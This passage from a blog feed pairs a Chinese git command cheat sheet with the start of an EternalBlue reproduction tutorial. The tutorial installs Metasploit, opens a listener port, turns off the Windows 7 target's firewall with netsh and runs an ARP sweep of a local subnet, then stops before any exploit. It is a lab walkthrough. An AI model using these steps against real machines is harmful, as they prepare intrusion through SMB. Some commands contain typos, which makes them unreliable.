class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">提交暂存区到仓库区</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git commit -m [message]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">提交暂存区的指定文件到仓库区</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git commit [file1] [file2] ... -m [message]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">提交工作区自上次commit之后的变化，直接到仓库区</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git commit -a</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">提交时显示所有diff信息</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git commit -v</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">使用一次新的commit，替代上一次提交</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">如果代码没有任何新变化，则用来改写上一次commit的提交信息</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git commit --amend -m [message]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重做上一次commit，并包括指定文件的新变化</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git commit --amend [file1] [file2] ...</span></span><br></pre></td></tr></table></figure><h2 id="五、分支"><a href="#五、分支" class="headerlink" title="五、分支"></a>五、分支</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">列出所有本地分支</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git branch</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">列出所有远程分支</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git branch -r</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">列出所有本地分支和远程分支</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git branch -a</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">新建一个分支，但依然停留在当前分支</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git branch [branch-name]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">新建一个分支，并切换到该分支</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git checkout -b [branch]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">新建一个分支，指向指定commit</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git branch [branch] [commit]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">新建一个分支，与指定的远程分支建立追踪关系</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git branch --track [branch] [remote-branch]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">切换到指定分支，并更新工作区</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git checkout [branch-name]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">切换到上一个分支</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git checkout -</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">建立追踪关系，在现有分支与指定的远程分支之间</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git branch --set-upstream [branch] [remote-branch]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">合并指定分支到当前分支</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git merge [branch]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">选择一个commit，合并进当前分支</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git cherry-pick [commit]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">删除分支</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git branch -d [branch-name]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">删除远程分支</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git push origin --delete [branch-name]</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git branch -dr [remote/branch]</span></span><br></pre></td></tr></table></figure><h2 id="六、标签"><a href="#六、标签" class="headerlink" title="六、标签"></a>六、标签</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">列出所有tag</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git tag</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">新建一个tag在当前commit</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git tag [tag]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">新建一个tag在指定commit</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git tag [tag] [commit]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">删除本地tag</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git tag -d [tag]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">删除远程tag</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git push origin :refs/tags/[tagName]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看tag信息</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git show [tag]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">提交指定tag</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git push [remote] [tag]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">提交所有tag</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git push [remote] --tags</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">新建一个分支，指向某个tag</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git checkout -b [branch] [tag]</span></span><br></pre></td></tr></table></figure><h2 id="七、查看信息"><a href="#七、查看信息" class="headerlink" title="七、查看信息"></a>七、查看信息</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看目录</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">ls</span> -al或者$ ll</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看仓库状态，显示有变更的文件</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git status</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示当前分支的版本历史</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">log</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示commit历史，以及每次commit发生变更的文件</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">log</span> --<span class="built_in">stat</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">搜索提交历史，根据关键词</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">log</span> -S [keyword]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示某个commit之后的所有变动，每个commit占据一行</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">log</span> [tag] HEAD --pretty=format:%s</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示某个commit之后的所有变动，其<span class="string">&quot;提交说明&quot;</span>必须符合搜索条件</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">log</span> [tag] HEAD --grep feature</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示某个文件的版本历史，包括文件改名</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">log</span> --follow [file]</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git whatchanged [file]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示指定文件相关的每一次diff</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">log</span> -p [file]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示过去5次提交</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git <span class="built_in">log</span> -5 --pretty --oneline</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示所有提交过的用户，按提交次数排序</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git shortlog -sn</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示指定文件是什么人在什么时间修改过</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git blame [file]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示暂存区和工作区的差异</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git diff</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示暂存区和上一个commit的差异</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git diff --cached [file]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示工作区与当前分支最新commit之间的差异</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git diff HEAD</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示两次提交之间的差异</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git diff [first-branch]...[second-branch]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示今天你写了多少行代码</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git diff --shortstat <span class="string">&quot;@&#123;0 day ago&#125;&quot;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示某次提交的元数据和内容变化</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git show [commit]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示某次提交发生变化的文件</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git show --name-only [commit]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示某次提交时，某个文件的内容</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git show [commit]:[filename]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示当前分支的最近几次提交</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git reflog</span></span><br></pre></td></tr></table></figure><h2 id="八、远程同步"><a href="#八、远程同步" class="headerlink" title="八、远程同步"></a>八、远程同步</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">下载远程仓库的所有变动</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git fetch [remote]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示所有远程仓库</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git remote -v</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">显示某个远程仓库的信息</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git remote show [remote]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">增加一个新的远程仓库，并命名</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git remote add [shortname] [url]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">取回远程仓库的变化，并与本地分支合并</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git pull [remote] [branch]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">上传本地指定分支到远程仓库</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git push [remote] [branch]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">强行推送当前分支到远程仓库，即使有冲突</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git push [remote] --force</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">推送所有分支到远程仓库</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git push [remote] --all</span></span><br></pre></td></tr></table></figure><h2 id="九、撤销"><a href="#九、撤销" class="headerlink" title="九、撤销"></a>九、撤销</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">恢复暂存区的指定文件到工作区</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git checkout [file]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">恢复某个commit的指定文件到暂存区和工作区</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git checkout [commit] [file]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">恢复暂存区的所有文件到工作区</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git checkout .</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重置暂存区的指定文件，与上一次commit保持一致，但工作区不变</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git reset [file]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重置暂存区与工作区，与上一次commit保持一致</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git reset --hard</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重置当前分支的指针为指定commit，同时重置暂存区，但工作区不变</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git reset [commit]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重置当前分支的HEAD为指定commit，同时重置暂存区和工作区，与指定commit一致</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git reset --hard [commit]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">重置当前HEAD为指定commit，但保持暂存区和工作区不变</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git reset --keep [commit]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">新建一个commit，用来撤销指定commit</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">后者的所有变化都将被前者抵消，并且应用到当前分支</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git revert [commit]</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">暂时将未提交的变化移除，稍后再移入</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git stash</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git stash pop</span></span><br></pre></td></tr></table></figure><h2 id="十、其他"><a href="#十、其他" class="headerlink" title="十、其他"></a>十、其他</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">从当前目录的所有文件中查找文本内容：</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git grep <span class="string">&quot;Hello&quot;</span></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">在某一版本中搜索文本：</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git grep <span class="string">&quot;Hello&quot;</span> v2.5</span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">生成一个可供发布的压缩包</span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">git archive</span></span><br></pre></td></tr></table></figure><h2 id="十一、常用命令"><a href="#十一、常用命令" class="headerlink" title="十一、常用命令"></a>十一、常用命令</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 切换分支</span></span><br><span class="line">$ git chekout &lt;branch_name&gt;</span><br><span class="line"><span class="comment"># 合并分支 指定分支合并当前分支</span></span><br><span class="line">$ git merge &lt;指定分支名字&gt;</span><br><span class="line"><span class="comment"># 如果你只是想将 A 分支上的某个特定提交合并到 B 分支上，而不是将整个分支合并过来，你可以使用 git cherry-pick 命令：</span></span><br><span class="line">$ git cherry-pick &lt;commit_id&gt;</span><br><span class="line"><span class="comment"># 当前分支历史提交日志</span></span><br><span class="line">$ git <span class="built_in">log</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    
    <category term="命令" scheme="https://wyy.hair/tags/%E5%91%BD%E4%BB%A4/"/>
    
  </entry>
  
  <entry>
    <title>永恒之蓝之复现</title>
    <link href="https://wyy.hair/posts/d19d23f5/"/>
    <id>https://wyy.hair/posts/d19d23f5/</id>
    <published>2024-04-09T06:58:01.000Z</published>
    <updated>2025-12-30T04:54:17.888Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="永恒之蓝复现"><a href="#永恒之蓝复现" class="headerlink" title="永恒之蓝复现"></a>永恒之蓝复现</h2><h3 id="环境要求"><a href="#环境要求" class="headerlink" title="环境要求"></a>环境要求</h3><ol><li><p><em><strong>windows</strong></em> 操作系统(本测试使用 <em><strong>windows 7</strong></em> ) <a href="https://next.itellyou.cn/">镜像下载</a> 为原版镜像,故需账号登录.</p></li><li><p><em><strong>Linux</strong></em> 攻击系统 (任意发行版本<em><strong>以下任选一种</strong></em>)</p><ol><li><em><strong>kali</strong></em><a href="https://www.kali.org/">官网</a> 提供多种安装方式(本测试使用)</li><li><em><strong>centos 7</strong></em> <a href="https://www.centos.org/download/#centos-linux-7-2009">官方镜像</a> </li><li><em><strong>ubuntu 22</strong></em> <a href="https://ubuntu.com/download/desktop/thank-you?version=22.10&architecture=amd64">官方镜像</a></li><li><em><strong>debian 11</strong></em> <a href="https://www.debian.org/download">官方镜像</a></li></ol></li><li><p>可选 <a href="https://customerconnect.vmware.com/cn/downloads/details?downloadGroup=WKST-PLAYER-1700&productId=1377&rPId=97015">vmware</a> 官网下载试用, 再安装任意攻击系统.</p></li></ol><h3 id="攻击机器"><a href="#攻击机器" class="headerlink" title="攻击机器"></a>攻击机器</h3><h4 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h4><p><em><strong>Metaspolit</strong></em> 世界上使用最多的渗透测试框架</p><p><a href="https://docs.metasploit.com/">官方手册</a> 英文须自行翻译, 参考</p><h4 id="Kali环境配置"><a href="#Kali环境配置" class="headerlink" title="Kali环境配置"></a>Kali环境配置</h4><blockquote><p>内置了 <em><strong>Metaspolit Framework</strong></em> (简称 <em><strong>MSF</strong></em>, Metasploit Framework 是一组允许信息收集、扫描、利用、利用开发、后期利用等的工具) , <strong>推荐使用</strong> </p><ol><li>打开一个指定监听端口</li></ol><ul><li><p>推荐 <strong>ufw</strong> 防火墙工具管理</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt-get -y install ufw</span><br></pre></td></tr></table></figure></li><li><p><span id="open_port">打开 7777(任意) 端口</span></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ufw allow 7777</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ufw reload</span><br></pre></td></tr></table></figure></li><li><p>查看端口</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ufw status numbered</span><br></pre></td></tr></table></figure><img src="/posts/d19d23f5/image-20221201220043597.png" class=""></li></ul><ol start="2"><li><strong>Terminal</strong> 启动</li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msconsole</span><br></pre></td></tr></table></figure><img src="/posts/d19d23f5/image-20221201205004047.png" class=""></blockquote><h4 id="Centos-7-配置"><a href="#Centos-7-配置" class="headerlink" title="Centos 7 配置"></a>Centos 7 配置</h4><blockquote><ol><li><p>安装 <strong>ufw</strong> 防火墙管理工具</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum -y ufw</span><br></pre></td></tr></table></figure><p>打开 <strong>7777</strong> 端口 命令如 <a href="#open_port">上文</a></p></li><li><p>安装 <strong>Ruby</strong> (metaspolit 的开发语言)</p><ol><li>更新<strong>yum</strong>库</li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum -y update</span><br></pre></td></tr></table></figure><ol start="2"><li>安装<strong>Ruby</strong></li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo yum -y install ruby</span><br></pre></td></tr></table></figure><p>安装的版本通常是特定发行版发布时可用的最新 Ruby 版本。</p><ol start="3"><li>查看版本</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ruby -v</span><br></pre></td></tr></table></figure><img src="/posts/d19d23f5/image-20221201202326873.png" class=""></li><li><p>安装 <strong>MSF</strong></p><ol><li>下载</li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://rpm.metasploit.com/metasploit-omnibus/pkg/metasploit-framework-6.2.29%2B20221130112654~1rapid7-1.el6.x86_64.rpm</span><br></pre></td></tr></table></figure><ol start="2"><li>安装</li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rpm -ivh metasploit.com/metasploit-omnibus/pkg/metasploit-framework-6.2.29%2B20221130112654~1rapid7-1.el6.x86_64.rpm</span><br></pre></td></tr></table></figure><img src="/posts/d19d23f5/image-20221201204206246.png" class=""><p>成功安装,如图</p></li><li><p>启动 <strong>MSF</strong></p></li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfconsole</span><br></pre></td></tr></table></figure><img src="/posts/d19d23f5/image-20221201204455562.png" class=""></blockquote><h4 id="Debian-与-Ubuntu-配置"><a href="#Debian-与-Ubuntu-配置" class="headerlink" title="Debian 与 Ubuntu 配置"></a>Debian 与 Ubuntu 配置</h4><blockquote><ol><li><p>安装 <strong>ufw</strong> 防火墙管理工具</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt-get -y install ufw</span><br></pre></td></tr></table></figure><p>打开 <strong>7777</strong> 端口 命令如 <a href="#open_port">上文</a></p></li><li><p>安装 <strong>Ruby</strong></p></li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt-get -y install ruby-full</span><br></pre></td></tr></table></figure><img src="/posts/d19d23f5/image-20221201211049845.png" class=""><p>2.安装 <strong>MSF</strong> </p><ol><li>下载</li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.2.29%2B20221130112638~1rapid7-1_amd64.deb</span><br></pre></td></tr></table></figure><ol start="2"><li>安装</li></ol><ul><li><pre><code class="shell">apt-get install alien<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">- ```shell</span><br><span class="line">  dpkg -i metasploit-framework_6.2.29+20221130112638~1rapid7-1_amd64.deb </span><br></pre></td></tr></table></figure></code></pre></li></ul><ol start="3"><li>启动 <strong>MSF</strong></li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfconsole</span><br></pre></td></tr></table></figure><img src="/posts/d19d23f5/image-20221201214911544.png" class=""></blockquote><h3 id="靶机要求"><a href="#靶机要求" class="headerlink" title="靶机要求"></a>靶机要求</h3><h4 id="windows-防火墙-已关闭"><a href="#windows-防火墙-已关闭" class="headerlink" title="windows 防火墙 已关闭"></a>windows 防火墙 已关闭</h4><blockquote><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netsh advfirewall <span class="built_in">set</span> allprofiles state off</span><br></pre></td></tr></table></figure></blockquote><h4 id="端口-445-开放"><a href="#端口-445-开放" class="headerlink" title="端口 445 开放"></a>端口 445 开放</h4><h4 id="windows-7-已默认开放"><a href="#windows-7-已默认开放" class="headerlink" title="windows 7 已默认开放"></a>windows 7 已默认开放</h4><blockquote><p>445端口是 <strong>smb</strong> 服务  文件(资源)共享服务</p></blockquote><h3 id="永恒之蓝"><a href="#永恒之蓝" class="headerlink" title="永恒之蓝"></a>永恒之蓝</h3><h4 id="Kali"><a href="#Kali" class="headerlink" title="Kali"></a>Kali</h4><blockquote><p>在此我以 <strong>kali</strong> 复现<strong>永恒之蓝</strong></p></blockquote><h4 id="主机发现"><a href="#主机发现" class="headerlink" title="主机发现"></a>主机发现</h4><p>前提: 已知目标靶机 <strong>ip</strong> 或者 <strong>网段</strong> (如和攻击机器在同一局域网)</p><p><strong>MSF</strong> Terminal 下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">use auxiliary/scanner/discovery/arp_sweep</span><br></pre></td></tr></table></figure><p>扫描 局域网 <strong>192.168.111.0&#x2F;24</strong> 网段下主机   <em><strong>kali 其中一个网卡的IP为 192.168.111.130</strong></em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set rhosts 192.168.111.0/24</span><br></pre></td></tr></table></figure><p>设置 <strong>100</strong> 线程 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">set threads 100</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">run</span><br></pre></td></tr></table></figure><img src="/posts/d19d23f5/image-20221201223403011.png" 